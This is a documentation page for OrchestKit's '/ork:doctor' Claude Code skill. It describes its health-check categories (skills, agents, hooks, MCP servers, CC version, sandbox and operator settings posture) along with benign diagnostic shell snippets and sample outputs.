---
title: "Doctor"
description: "OrchestKit doctor for health diagnostics across manifest integrity, hook configuration, skill validation, agent frontmatter, MCP server connectivity, CC version compatibility, and permission rules. Reports issues with severity levels and auto-remediation suggestions. Validates component counts, detects orphaned entries, and checks CC version matrix compliance. Use when diagnosing plugin health, troubleshooting configuration issues, or running pre-release checks."
canonical: "https://orchestkit.yonyon.ai/docs/reference/skills/doctor"
---

# Doctor

OrchestKit doctor for health diagnostics across manifest integrity, hook configuration, skill validation, agent frontmatter, MCP server connectivity, CC version compatibility, and permission rules. Reports issues with severity levels and auto-remediation suggestions. Validates component counts, detects orphaned entries, and checks CC version matrix compliance. Use when diagnosing plugin health, troubleshooting configuration issues, or running pre-release checks.

<span className="badge badge-blue">Command</span> <span className="badge badge-green">low</span>

```bash title="Invoke"
/ork:doctor
```

<ContextualSkillSidebar slug="doctor" />

> **Doctor** OrchestKit doctor for health diagnostics across manifest integrity, hook configuration, skill validation, agent frontmatter, MCP server connectivity, CC version compatibility, and permission rules. Reports issues with severity levels and auto-remediation suggestions. Validates component counts, detects orphaned entries, and checks CC version matrix compliance. Use when diagnosing plugin health, troubleshooting configuration issues, or running pre-release checks.


# OrchestKit Health Diagnostics

## Argument Resolution

```python
FLAGS = "$ARGUMENTS"         # Full argument string, e.g., "--verbose" or "--json"
FLAG = "$ARGUMENTS[0]"       # First token: -v, --verbose, --json, --category=X
# $ARGUMENTS[0], $ARGUMENTS[1] for indexed access (CC 2.1.59)
```

## STEP 0: Choose Scope (AskUserQuestion — M118 #1464)

A full doctor run takes ~20s. Most invocations only need one slice. Ask the user up-front so voice-flow shortcuts ("just the MCPs") map cleanly:

```python
# Skip the prompt when an explicit scope arg or env override is present:
#   /ork:doctor cc      → skip, use cc-only
#   /ork:doctor mcp     → skip, use mcp-only
#   /ork:doctor plugin  → skip, use plugin-only
#   ORK_DOCTOR_SCOPE=all (or any of the above) → skip, use the env value
#
# Otherwise, ask:
AskUserQuestion(questions=[{
  "question": "What should doctor check?",
  "header": "Scope",
  "options": [
    {"label": "Everything (default)", "description": "Full system health — ~20s; runs all 15 categories"},
    {"label": "CC version & features only", "description": "Categories 10 + 13 + 14; ~3s — for 'is my CC up to date?'"},
    {"label": "MCP servers only", "description": "Category 12 (incl. pinning sub-check); ~5s — for 'are MCPs working?'"},
    {"label": "Plugin health only", "description": "Categories 0-3 + 5 (skills, agents, hooks, build); ~8s — for 'after npm run build'"}
  ]
}])
```

Skip the prompt entirely when the scope is unambiguous from the invocation. The fast scopes (3-8s) are 3-7× faster than the full run — voice users say "just the MCPs" and get a 5s answer.

## Overview

The `/ork:doctor` command performs comprehensive health checks on your OrchestKit installation. It auto-detects installed plugins and validates 16 categories:

1. **Installed Plugins** - Detects ork plugin
2. **Skills Validation** - Frontmatter, references, token budget (dynamic count)
3. **Agents Validation** - Frontmatter, tool refs, skill refs (dynamic count)
4. **Hook Health** - Registration, bundles, async patterns
5. **Permission Rules** - Detects unreachable rules
6. **Schema Compliance** - Validates JSON files against schemas
7. **Coordination System** - Checks lock health and registry integrity
8. **Context Budget** - Monitors token usage against budget
9. **Memory System** - Graph memory health
10. **Claude Code Version** - Validates CC >= 2.1.220 (supported floor). Everything the old "recommends 2.1.154+" note gated (`xhigh` effort, `/ultrareview`, stream-json `plugin_errors`) is floor-guaranteed now, so there is nothing left to recommend
11. **External Dependencies** - Checks optional tool availability (agent-browser)
12. **MCP Status** - Active vs disabled vs misconfigured, API key presence for paid MCPs. CC 2.1.110: detects duplicate definitions across config scopes. Sub-check warns when HIGH-tier servers resolve to `@latest` in `.mcp.json` (closes #1462)
13. **Plugin Validate** - Runs `claude plugin validate` for official CC frontmatter + hooks.json validation (CC >= 2.1.77)
14. **Effort/Model Compatibility** - Warns only when `xhigh` effort is configured AND the active model is provably unable to run it. Silent otherwise, because the fallback itself is silent
15. **Sandbox Posture** - CC Bash-sandbox on/off across all four settings scopes (incl. `~/.claude/settings.json`, where real configs usually live), with a `/sandbox` nudge; sub-check 15b queries the macOS unified log for recent sandbox deny events (fail-closed: a denied log query reports UNOBSERVABLE, never zero)
16. **Operator Settings Posture** - Detects security controls that a plugin bundle **cannot** carry (credential-read deny rules, the `sandbox` block, `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS`) and are therefore missing unless the operator wrote them into their own settings

## When to Use

- After installing or updating OrchestKit
- When hooks aren't firing as expected
- Before deploying to a team environment
- When debugging coordination issues
- After running `npm run build`

## Quick Start

```bash
/ork:doctor           # Standard health check
/ork:doctor -v        # Verbose output
/ork:doctor --json    # Machine-readable for CI
```

## CLI Options

| Flag | Description |
|------|-------------|
| `-v`, `--verbose` | Detailed output per check |
| `--json` | JSON output for CI integration |
| `--category=X` | Run only specific category |

## Health Check Categories

> **Detailed check procedures**: Load `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/diagnostic-checks.md")` for bash commands and validation logic per category.
>
> **MCP-specific checks**: Load `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/mcp-status-checks.md")` for credential validation and misconfiguration detection.
>
> **Output examples**: Load `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/health-check-outputs.md")` for sample output per category.

### Categories 0-3: Core Validation

| Category | What It Checks | Reference |
|----------|---------------|-----------|
| **0. Installed Plugins** | Auto-detects ork plugin, counts skills/agents | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/diagnostic-checks.md` |
| **1. Skills** | Frontmatter, context field, token budget, links, **activation-channel reachability** (no orphaned user-invocable skills) | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/skills-validation.md` |
| **2. Agents** | Frontmatter, model, skill refs, tool refs | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/agents-validation.md` |
| **3. Hooks** | hooks.json schema, bundles, async patterns — across all three hook scopes: **global**, **agent-scoped**, and **skill-scoped**. Detects the common hook problems: missing files (registered but not on disk), syntax errors in hooks.json or bundles, permission issues (non-executable scripts), and stale references (entries pointing at renamed/removed handlers) | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/hook-validation.md` |

> **Activation-channel orphans (repo / pre-release):** a user-invocable skill should be reachable by more than a human typing it — via a chain (another skill references `/ork:&lt;skill&gt;`), a subagent grant (`skills:` in `src/agents/*.md`), or a background trigger. A skill with none is an "island" that silently rots. In a repo checkout, run `npm run test:manifests:channels` (gated in CI via `test:manifests`). Fix an island by wiring any one channel, or add it to `STANDALONE_ALLOWLIST` with a justification.

### Categories 4-5: System Health

| Category | What It Checks | Reference |
|----------|---------------|-----------|
| **4. Memory** | .claude/memory/ graph integrity + queue depth; **auto-memory MEMORY.md index budget (≤24.4 KB; warns + recommends /ork:dream on re-bloat)** | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/memory-health.md` |
| **5. Build** | plugins/ sync with src/, manifest counts, orphans | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/diagnostic-checks.md` |

> **Analytics writer liveness (System Health):** the local analytics pipeline has several independent JSONL writers under `~/.claude/analytics/` (skill-usage, agent-usage, hook-timing). A writer can die silently while its siblings stay hot — observed once for four months (skill-usage.jsonl, 2026-03 to 2026-07). The check is a peer comparison: flag any watched file whose last write is ≥48h old while a sibling wrote within 24h (`stat -f '%m %N' ~/.claude/analytics/*.jsonl`). The `lifecycle/analytics-liveness-check` SessionStart hook runs the same comparison continuously.
>
> A flagged writer means the write path was dropped from dispatch, so check **both** surfaces — `src/hooks/hooks.json` AND the entries map (`src/hooks/src/entries/*.ts`). A hook present in one but not the other is registered-looking and silently dead: the #959 failure class. `/ork:telemetry-inspect` gives the per-file deep dive, covering the field-level defects this structural check cannot see: constant fields and phantom rows, the two classes fixed in #3034 and #3035 (both closed 2026-07-20). Cite them as prior art, not as open work.
>
> *(Category numbering in this file is inconsistent between the Overview list above and these tables — the Overview numbers 4 as Hook Health, the tables number 4 as Memory. This check belongs to System Health regardless of which numbering a reader follows.)*

### Categories 6-9: Infrastructure

| Category | What It Checks |
|----------|---------------|
| **6. Permission Rules** | Unreachable rules detection |
| **7. Schema Compliance** | JSON files against schemas |
| **8. Coordination** | Multi-worktree lock health, stale locks, sparse paths config |
| **9. Context Budget** | Token usage against budget |

### Categories 10-16: Environment

| Category | What It Checks | Reference |
|----------|---------------|-----------|
| **10. CC Version** | Runtime version against minimum required | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/version-compatibility.md` |
| **11. External Deps** | Optional tools (agent-browser, portless) | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/diagnostic-checks.md` |
| **12. MCP Status** | Enabled/disabled state, credential checks, **HIGH-tier `@latest` pinning warn** | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/mcp-status-checks.md` + `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/mcp-pinning-check.md` |
| **13. Plugin Validate** | Official CC frontmatter + hooks.json validation (CC >= 2.1.77) | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/diagnostic-checks.md` |
| **14. Effort/Model** | `xhigh` effort configured on a model that provably cannot run it (see below). Defaults to silence | inline |
| **15. Sandbox Posture** | CC Bash-sandbox on/off across all four settings scopes + `/sandbox` nudge (opt-in, Bash-only; info-level). **15b**: bounded read-only query of the macOS unified log for recent `Sandbox` deny events via `scripts/check-sandbox-violations.sh` (warn-level; fail-closed when the log query itself is denied; explicit skip off macOS) | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/sandbox-posture.md` |
| **16. Operator Settings Posture** | Controls a plugin bundle **cannot** carry, so they exist only if the operator wrote them: credential-read `permissions.deny` rules (defence in depth: `pretool/read/credential-read-guard` already covers the `Read` tool), the `sandbox` block incl. `network.deniedDomains` (the egress guard only `ask`s on the upload shape; a plain GET abstains), and `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS` (ork's own `agent-teams.ts` gates on it). Warn-level; prints the JSON to paste | load `$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/settings-posture.md` |

> **Why Check 16 exists at all:** `plugins-reference.md:858` says "Only the `agent` and `subagentStatusLine` keys are currently supported" in a plugin's bundled `settings.json`. Everything else ork used to declare there was inert, so the protection it looked like it shipped was never in force. Check 16 is the replacement: detect the gap in a scope CC really reads, then hand the operator the exact JSON. The `ork:configure` skill, section *Operator-Scope Settings*, carries the paste-ready blocks, staged loose-then-strict per #3424; the full JSON is in `$\{CLAUDE_PLUGIN_ROOT\}/skills/configure/references/operator-scope-settings.md`.

### Category 14: Effort/Model Compatibility (CC 2.1.111+)

CC 2.1.111 added the `xhigh` effort tier. **The only reason this category exists is the silence**: a model that does not implement `xhigh` degrades the request to `high` with no error, no warning, and no log line, so the extra deepening pass the affected skills document is lost without any visible signal. If CC ever surfaces the downgrade itself, delete this category.

The check is **capability-shaped, not model-name-shaped**. Never hardcode "the current frontier model" here: that guarantees a false failure the day the next one ships, and it prescribes a downgrade to a superseded model.

**Do not route this through `src/hooks/src/lib/models.vocab.json`.** That file is the model-id/pricing vocabulary and carries no effort or capability fields at all, so keying off it would leave the check permanently, accidentally dead rather than deliberately quiet.

**Detection (warn only on positive proof):**

1. Resolve the configured effort, in order: `.claude/settings.json` → `effort`, then `$ORCHESTKIT_EFFORT` (populated by the effort-detector hook), then any `.claude/chain/*.json` entry that explicitly set `effort: xhigh`. No `xhigh` anywhere means pass, no output.
2. Resolve the active model id.
3. Warn **only** when that model id matches a prefix in doctor's local `XHIGH_UNSUPPORTED_PREFIXES` table below. Every other outcome (model absent from the table, model id unresolvable, settings file missing) is a pass. A check that cannot prove a problem stays quiet.

```python
# Doctor-local capability table. Deliberately a DENY-list, not an allow-list:
# a model absent from this table is assumed to support xhigh and emits nothing.
# Add an entry only from an OBSERVED silent degrade, citing the CC version it was
# seen on. Never add one by inferring from a model being new, old, or cheap.
XHIGH_UNSUPPORTED_PREFIXES = [
    # prefix        evidence
    "claude-3-",  # the whole Claude 3 line predates CC 2.1.111, which introduced the tier
]
```

An empty or short table is the correct resting state. Silence here means "doctor has no proof of a problem", which is a true statement, whereas a name-matched failure against an unrecognized model is a false one.

**Warning format** (no model name is hardcoded, both sides are read at runtime):
```
WARNING: effort is set to `xhigh`, but <model-id> matches XHIGH_UNSUPPORTED_PREFIXES.
  Configured effort: xhigh (source: <settings.json | $ORCHESTKIT_EFFORT | chain>)
  Impact: the run degrades to `high` with no error and no log line, so the extra
          deepening pass is lost with nothing to notice it by.
  Fix: run this on a model that implements `xhigh`, or set effort to `high` so the
       config matches what actually executes.
```

**Exit code**: Non-zero in `--json` mode only when the warning actually fires; soft warning in interactive mode. A silent pass is exit 0.

## Report Format

Every category reports an explicit **pass / warn / fail** status, and every warn or fail comes with **specific fix steps** for that failure type (the exact command to run, file to edit, or config to change) — doctor diagnoses AND prescribes, it never just lists problems.

> Load `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/report-format.md")` for ASCII report templates, JSON CI output schema, and exit codes.

## Interpreting Results & Troubleshooting

> Load `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/remediation-guide.md")` for the full results interpretation table and troubleshooting steps for common failures (skills validation, build sync, memory).

> **Bisect with `--safe-mode` (CC 2.1.169+):** when doctor findings don't explain a misbehaving session, restart with `claude --safe-mode` (or `CLAUDE_CODE_SAFE_MODE=1`) — it disables ALL customizations (CLAUDE.md, plugins incl. ork, skills, hooks, MCP). If the problem disappears, it's a customization; re-enable halves to isolate. If it persists, it's CC itself — file upstream.

### After you fix an issue

> **CC 2.1.69+**: Run `/reload-plugins` to activate plugin changes in the current session without restarting.
>
> **CC 2.1.116+**: `/reload-plugins` and background plugin auto-update now **auto-install missing plugin dependencies** from marketplaces you've already added. If `ork:doctor` flagged a plugin-load failure due to a missing dep, `/reload-plugins` resolves it in place — no manual `plugin install` step needed.
>
> **CC 2.1.152+**: For non-plugin **skills** in a skill directory (`~/.claude/skills/` or `.claude/skills/`), run `/reload-skills` to re-scan without restarting — the skill analogue of `/reload-plugins`.

## Chain: Deeper Audit

> After a clean health report, audit the observability pipeline itself:
>
> ```
> /ork:telemetry-inspect
> ```
>
> `doctor` validates structure (manifests, hooks, skills, agents); `/ork:telemetry-inspect` validates the *data plane* — every telemetry writer's row count, schema lock, growth trend, and orphaned analytics files that structural checks don't cover.

## Related Skills

- `ork:configure` - Configure plugin settings
- `ork:telemetry-inspect` - Audit the telemetry/analytics pipeline after a clean structural check
- `ork:quality-gates` - CI/CD integration
- `security-scanning` - Comprehensive audits

## References

Load on demand with `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/references/&lt;file&gt;")` or `Read("$\{CLAUDE_PLUGIN_ROOT\}/skills/doctor/rules/&lt;file&gt;")`:
| File | Content |
|------|---------|
| `rules/diagnostic-checks.md` | Bash commands and validation logic per category |
| `rules/mcp-status-checks.md` | Credential validation and misconfiguration detection |
| `references/remediation-guide.md` | Results interpretation and troubleshooting steps |
| `references/health-check-outputs.md` | Sample output per category |
| `references/skills-validation.md` | Skills frontmatter and structure checks |
| `references/agents-validation.md` | Agents frontmatter and tool ref checks |
| `references/hook-validation.md` | Hook registration and bundle checks |
| `references/memory-health.md` | Memory system integrity checks |
| `references/permission-rules.md` | Permission rule detection |
| `references/schema-validation.md` | JSON schema compliance |
| `references/report-format.md` | ASCII report templates and JSON CI output |
| `references/version-compatibility.md` | CC version and channel validation |
| `references/mcp-pinning-check.md` | HIGH-tier MCP `@latest` warning logic + tier source-of-truth |
| `references/sandbox-posture.md` | CC Bash-sandbox on/off detection + `/sandbox` nudge (Check 15) + unified-log violation query (15b) |
| `references/settings-posture.md` | Operator-scope security posture: what a plugin bundle cannot carry, and how to detect it missing (Check 16) |


---

## Rules (2)

### Diagnostic Checks — CRITICAL


# Diagnostic Check Procedures

Detailed procedures for each health check category in `/ork:doctor`.

---

**Incorrect:**
```
✓ Plugins OK    (no actual validation — just assumed healthy)
```

**Correct:**
```
✓ Skills: 69/69 valid (frontmatter, token budget, links)
✗ Hooks: dist/memory-writer.mjs missing — run: cd src/hooks && npm run build
✓ Agents: 38/38 CC 2.1.6 compliant
```

## 0. Installed Plugins Detection

Auto-detects which OrchestKit plugins are installed:

```bash
# Detection logic:
# - Scans for .claude-plugin/plugin.json in plugin paths
# - Identifies ork plugin
# - Counts skills/agents per installed plugin
```

---

## 1. Skills Validation

Validates skills in installed plugins (count varies by installation):

```bash
# Checks performed:
# - SKILL.md frontmatter (name, description, user-invocable)
# - context: fork field (required for CC 2.1.0+)
# - Token budget compliance (300-5000 tokens)
# - Internal link validation (references/ paths)
# - Related Skills references exist
```

---

## 2. Agents Validation

Validates agents in installed plugins:

```bash
# Checks performed:
# - Frontmatter fields (name, description, model, tools, skills)
# - Model validation (opus, sonnet, haiku only)
# - Skills references exist in src/skills/
# - Tools are valid CC tools
```

---

## 3. Hook Health

Verifies hooks are properly configured:

```bash
# Checks performed:
# - hooks.json schema valid
# - Bundle files exist (12 .mjs bundles)
# - Async hooks use fire-and-forget pattern (9 async)
# - Background hook metrics health (Issue #243)
# - Windows-safe spawning (PR #645)
```

---

## 4. Memory System

Validates graph memory with file-level integrity checks:

```bash
# Automated checks:
# - Graph: .claude/memory/ exists, decisions.jsonl valid JSONL, queue depth

# Run these commands to gather memory health data:
wc -l .claude/memory/decisions.jsonl 2>/dev/null || echo "No decisions yet"
wc -l .claude/memory/graph-queue.jsonl 2>/dev/null || echo "No graph queue"
ls -la .claude/memory/ 2>/dev/null || echo "Memory directory missing"
```

Read `.claude/memory/decisions.jsonl` directly to validate JSONL integrity (each line must parse as valid JSON). Count total lines, corrupt lines, and report per-category breakdown.

See [Memory Health](../references/memory-health.md) for details.

---

## 5. Build System

Verifies plugins/ sync with src/:

```bash
# Checks performed:
# - plugins/ generated from src/
# - Manifest counts match actual files
# - No orphaned skills/agents
```

---

## 6. Permission Rules

Leverages CC 2.1.3's unreachable permission rules detection.

---

## 7. Schema Compliance

Validates JSON files against schemas.

---

## 8. Coordination System

Checks multi-worktree coordination health (active instances, stale locks).

---

## 9. Context Budget

Monitors token usage against budget.

---

## 10. Claude Code Version

Validates runtime version against the [Version Compatibility Matrix](../references/version-compatibility.md).

---

## 11. External Dependencies

Checks optional tool availability:

```bash
# agent-browser (vercel-labs/agent-browser)
# Prefer the structured `agent-browser doctor --json` from 0.26.0+ (CC 2.1.121+).
# Falls back to the fuzzy "is the binary on PATH + symlink present?" probe on older versions.
if command -v agent-browser >/dev/null 2>&1; then
  if agent-browser doctor --json >/tmp/ab-doctor.json 2>/dev/null; then
    # Structured snapshot: surface only high-severity issues + a one-line health summary.
    jq -r '
      "agent-browser: " +
      (if (.daemon.status // "unknown") == "running" then "OK" else "DEGRADED" end) +
      " (chrome=" + (.chrome.version // "?") +
      ", net=" + (if .network.reachable then "✓" else "✗" end) + ")"
    ' /tmp/ab-doctor.json
    # Promote any high-severity issue into doctor's findings stream.
    jq -r '.issues[]? | select(.severity == "high") | "  ↳ HIGH: " + .message' /tmp/ab-doctor.json
  else
    # Fallback for agent-browser < 0.26 (no `doctor` subcommand)
    test -L "$HOME/.claude/skills/agent-browser" \
      && echo "agent-browser: installed (legacy probe — upgrade to 0.26+ for structured doctor)" \
      || echo "agent-browser: SYMLINK MISSING at ~/.claude/skills/agent-browser"
  fi
else
  echo "agent-browser: NOT INSTALLED (optional — install via vercel-labs/agent-browser ≥ 0.26)"
fi

# portless: stable named localhost URLs for local dev
#   which portless 2>/dev/null && portless list 2>/dev/null
#   If missing: RECOMMEND "npm i -g portless" for stable local dev URLs
#   If installed but not running: WARN "portless is installed but no services registered"

# tailscale (M127 #1561): only relevant if user has used /ork:dev --share / --funnel / --live.
# Detected by inspecting .claude/state/dev-stack.json for share != null.
#   if [[ -f .claude/state/dev-stack.json ]] && jq -e '.share != null' .claude/state/dev-stack.json >/dev/null 2>&1; then
#     command -v tailscale >/dev/null 2>&1 \
#       && echo "tailscale: OK (share mode in use: $(jq -r '.share.mode' .claude/state/dev-stack.json))" \
#       || echo "tailscale: SHARE MODE ACTIVE BUT TAILSCALE CLI MISSING (Install: brew install tailscale)"
#   fi

# Live demos older than 24h (M127 #1565): warns about sprawl from /ork:dev --live.
#   live_log=".claude/state/live-demos.jsonl"
#   if [[ -f "$live_log" ]]; then
#     now_ts=$(date -u +%s)
#     while IFS= read -r line; do
#       expires=$(printf '%s' "$line" | jq -r '.expiresAt // empty')
#       [[ -z "$expires" ]] && continue
#       expires_ts=$(date -j -u -f '%Y-%m-%dT%H:%M:%SZ' "$expires" +%s 2>/dev/null \
#                  || date -u -d "$expires" +%s 2>/dev/null)
#       if [[ -n "$expires_ts" && "$expires_ts" -lt "$now_ts" ]]; then
#         age_h=$(( (now_ts - expires_ts) / 3600 ))
#         echo "live demo: EXPIRED ${age_h}h ago — branch=$(printf '%s' "$line" | jq -r '.branch')"
#       fi
#     done < "$live_log"
#   fi
```

**Why structured doctor**: agent-browser 0.26.0 added `doctor --json` returning a snapshot of `chrome`, `daemon`, `network`, `config`, `security`, and `providers`. Wiring it in turns the previous "agent-browser broken" failure into actionable per-subsystem findings (Chrome version, daemon status, network reachability, high-severity issues), unblocking debug sessions where the user can't tell us what's wrong.

---

## 13. Plugin Validate (CC >= 2.1.77)

Runs `claude plugin validate` for official CC validation of frontmatter and hooks.json. This complements OrchestKit's custom checks (categories 1-3) with CC's built-in validator.

```bash
# Check CC version supports plugin validate (>= 2.1.77)
# If CC < 2.1.77, skip with: "Plugin validate: SKIPPED (requires CC >= 2.1.77)"

# Run official validation from plugin root
claude plugin validate

# Checks performed by CC:
# - SKILL.md frontmatter schema (required fields, types, allowed values)
# - hooks.json schema (event types, matchers, command paths)
# - Agent frontmatter schema (model, tools, skills fields)
# - File path resolution (command paths in hooks exist)
```

**Relationship to OrchestKit checks:** `claude plugin validate` performs structural/schema validation at the CC level. OrchestKit's categories 1-3 perform deeper semantic checks (token budgets, cross-references, async patterns) that CC does not cover. Both should pass for a fully healthy plugin.

---

## 14. Stale Project State (CC >= 2.1.126, #1582, fixed in #1587)

CC 2.1.126 added `claude project purge [path]` — deletes all CC state (transcripts, tasks, file history, config entry) for a project. Surface this as an info-severity diagnostic when canonical project paths no longer exist on disk.

```bash
# Check CC version supports project purge (>= 2.1.126)
# If CC < 2.1.126, skip silently (suggestion would be unactionable)

# Detect stale project state via the authoritative source.
# Use `claude project purge --dry-run --all` because the directory-name encoding
# under ~/.claude/projects/ is lossy (both `/` and `.` collapse to `-`, so the
# original path cannot be reconstructed deterministically — `my-project` is
# indistinguishable from `my.project` or `my/project`). The CLI's dry-run
# output emits canonical paths from ~/.claude.json which IS lossless.
#
#   claude project purge --dry-run --all 2>/dev/null \
#     | grep -oE 'projects\["[^"]+"\]' \
#     | sed -E 's/^projects\["//; s/"\]$//' \
#     | while IFS= read -r p; do
#         [ -n "$p" ] && [ ! -d "$p" ] && echo "$p"
#       done
#
# Example output (info severity, never blocking):
# ℹ Stale project state: 3 canonical paths reference directories that no longer exist on disk.
#    Suggested cleanup (always preview first):
#      claude project purge --dry-run --all
#      claude project purge --interactive    # confirm each project
```

**Why info, never warn or fail:** the user may have moved a project rather than deleted it; aggressive removal would lose transcript history. Always recommend `--dry-run` first. Mirrors the pattern from `claude plugin prune` (Category 13b).

**Why not parse `~/.claude/projects/` directly:** the directory naming is a lossy collapse of the original path (`/` and `.` both become `-`). A naive `sed 's|-|/|g'` decode produces ambiguous results — `~/.claude/projects/Users-me-my-project` could be `/Users/me/my-project`, `/Users/me/my/project`, `/Users/me/my.project`, or other combinations. The dry-run output above is the canonical source.


### MCP Status Checks — HIGH


# MCP Status Checks

Validates `.mcp.json` entries for enabled/disabled state and required credentials.

## Check Procedure

```bash
# Checks performed:
# - Parse .mcp.json, list each server with enabled/disabled state
# - For tavily: check TAVILY_API_KEY env var OR op CLI availability
# - For memory: check MEMORY_FILE_PATH path is writable
# - Flag any enabled MCP whose process would likely fail at startup
# - HIGH-tier @latest pinning: see references/mcp-pinning-check.md
#   (script: scripts/check-mcp-pinning.sh — exit 1 on HIGH-tier @latest)
# - alwaysLoad audit (CC 2.1.121+, #1541): warn when memory, context7, or
#   sequential-thinking lack `"alwaysLoad": true` — these are universally
#   used and per-skill ToolSearch probes are wasted work without it.
#   Skip the warning on CC < 2.1.121 (key would be silently ignored).
# - claude plugin orphans (CC 2.1.121+, #1544): suggest `claude plugin prune`
#   when `claude plugin list --json` shows orphaned auto-installed deps.
```

**Incorrect:**
```
MCP Servers: all OK
```

**Correct:**
```
MCP Servers:
- context7:  enabled  ✓
- tavily:    enabled  ✗  TAVILY_API_KEY not set — will fail at startup
```

## Output Examples

**Healthy:**
```
MCP Servers:
- context7:           enabled  ✓
- memory:             enabled  ✓
- sequential-thinking: disabled ○
- tavily:             disabled ○  (enable: set TAVILY_API_KEY, see /ork:configure)
```

**Misconfigured (Tavily enabled but no key):**
```
MCP Servers:
- context7:           enabled  ✓
- memory:             enabled  ✓
- tavily:             enabled  ✗  TAVILY_API_KEY not set — MCP will fail at startup
                                  Fix: set TAVILY_API_KEY or set "disabled": true in .mcp.json
```



---

## References (13)

### Agents Validation

# Agents Validation

## Overview

OrchestKit includes 30 specialized agents validated against CC 2.1.69 frontmatter format.

## Agent Structure

```
src/agents/
├── backend-system-architect.md
├── code-quality-reviewer.md
├── frontend-ui-developer.md
└── ... (38 total)
```

## Validation Checks

### 1. Frontmatter Fields

Required fields:
- `name` - Agent identifier (used in Task subagent_type)
- `description` - Purpose and auto-mode keywords
- `model` - opus, sonnet, or haiku
- `tools` - Array of allowed CC tools
- `skills` - Array of skill names to auto-inject

Optional fields:
- `context` - fork or inherit
- `color` - Display color
- `hooks` - Agent-specific hooks

### 2. Model Validation

Only valid models:

```bash
# Check model values
grep "^model:" src/agents/*.md | sort | uniq -c
```

Expected: opus, sonnet, haiku

### 3. Skills References

All skills in agent frontmatter must exist:

```bash
# Check skill references
for agent in src/agents/*.md; do
  grep -A100 "^skills:" "$agent" | grep "^  - " | \
    sed 's/.*- //' | while read skill; do
      [ -d "src/skills/$skill" ] || echo "Missing: $agent -> $skill"
    done
done
```

### 4. Tools Validation

Valid CC tools:
- Bash, Read, Write, Edit, MultiEdit
- Grep, Glob
- Task, Skill
- WebFetch, WebSearch
- NotebookEdit
- AskUserQuestion
- TaskCreate, TaskUpdate, TaskGet, TaskList (since CC 2.1.233 these are **removed for the newest models** unless the operator sets `CLAUDE_CODE_ENABLE_TODO_TOOLS=1`; plugin settings cannot set it, so an agent granting them may run without them)

## Quick Validation

```bash
# Run full agent validation
npm run test:agents

# Or directly
./tests/agents/test-agent-frontmatter.sh
```

## Common Issues

### Invalid model

```yaml
model: sonnet  # Valid: opus, sonnet, haiku
```

### Missing skill reference

Ensure skill exists in `src/skills/` directory.

### Invalid tool name

Check tool spelling matches CC tool names exactly.

## Agent Registration Check (CC 2.1.50+)

Run `claude agents` to list all registered agents and compare against the expected count from manifests.

**Gate:** Only run if CC >= 2.1.50 (feature: `claude_agents_cli`). Skip with a note if version is older.

```bash
# Check registered agent count matches expected
expected_count=$(grep -c '"agents/' manifests/ork.json 2>/dev/null || echo 0)
registered_count=$(claude agents 2>/dev/null | wc -l | tr -d ' ')

if [ "$registered_count" -ne "$expected_count" ]; then
  echo "WARN: Agent count mismatch — expected $expected_count, got $registered_count"
  # List missing agents for investigation
  claude agents 2>/dev/null | sort > /tmp/ork-registered.txt
  ls src/agents/*.md 2>/dev/null | xargs -I{} basename {} .md | sort > /tmp/ork-expected.txt
  echo "Missing agents:"
  comm -23 /tmp/ork-expected.txt /tmp/ork-registered.txt
fi
```

**Check:** `claude agents | wc -l` should match expected agent count (38).

## Model Routing

See [docs/model-routing.md](../../../../docs/model-routing.md) for per-agent model assignment rationale and version history.

**Fail action:** List missing agents for manual investigation. Common causes:
- Plugin not installed or not rebuilt after adding agents
- Agent frontmatter parse error preventing registration
- CC version too old (&lt; 2.1.50) to support `claude agents` CLI


### Health Check Outputs

# Health Check Output Examples

Reference output examples for each `/ork:doctor` check category.

## Channel Detection

**Stable:**
```
Channel: stable (v7.0.0)
```

**Beta:**
```
Channel: beta (v7.0.0-beta.3)
⚠ You are on the beta channel. Report issues at github.com/yonatangross/orchestkit/issues
```

**Alpha:**
```
Channel: alpha (v7.0.0-alpha.1)
⚠ You are on the alpha channel. Expect breaking changes. Report issues at github.com/yonatangross/orchestkit/issues
```

**Detection logic:**
1. Read version from `.claude-plugin/plugin.json` (`version` field) or `version.txt`
2. If version contains `-alpha` → alpha channel
3. If version contains `-beta` → beta channel
4. Otherwise → stable channel

## Installed Plugins

```
Installed Plugins: 1
- ork: 106 skills, 36 agents, 218 hook entries
```

## Skills Validation

```
Skills: 113/113 valid
- User-invocable: 32 commands
- Reference skills: 81
```

## Agents Validation

```
Agents: 38/38 valid
- Models: 12 sonnet, 15 haiku, 8 opus
- All skill references valid
```

## Hook Health

```
Hooks: 95/95 entries valid (11 bundles)
- Global: 34, Agent-scoped: 54, Skill-scoped: 7
- Async hooks: 9 (native async)
- Error Rate: 0.3%
```

## Memory System

```
Memory System: healthy
- Graph Memory: 42 decisions, 0 corrupt, queue depth 3
```

## Build System

```
Build System: in sync
- Skills: 69 src/ = 69 plugins/
- Agents: 38 src/ = 38 plugins/
- Last build: 2 minutes ago
```

## Permission Rules

```
Permission Rules: 12/12 reachable
```

## Schema Compliance

```
Schemas: 15/15 compliant
```

## Coordination System

```
Coordination: healthy
- Active instances: 1
- Stale locks: 0
```

## Context Budget

```
Context Budget: 1850/2200 tokens (84%)
```

## Claude Code Version

**OK:**
```
Claude Code: 2.1.220 (OK)
- Minimum required: 2.1.220
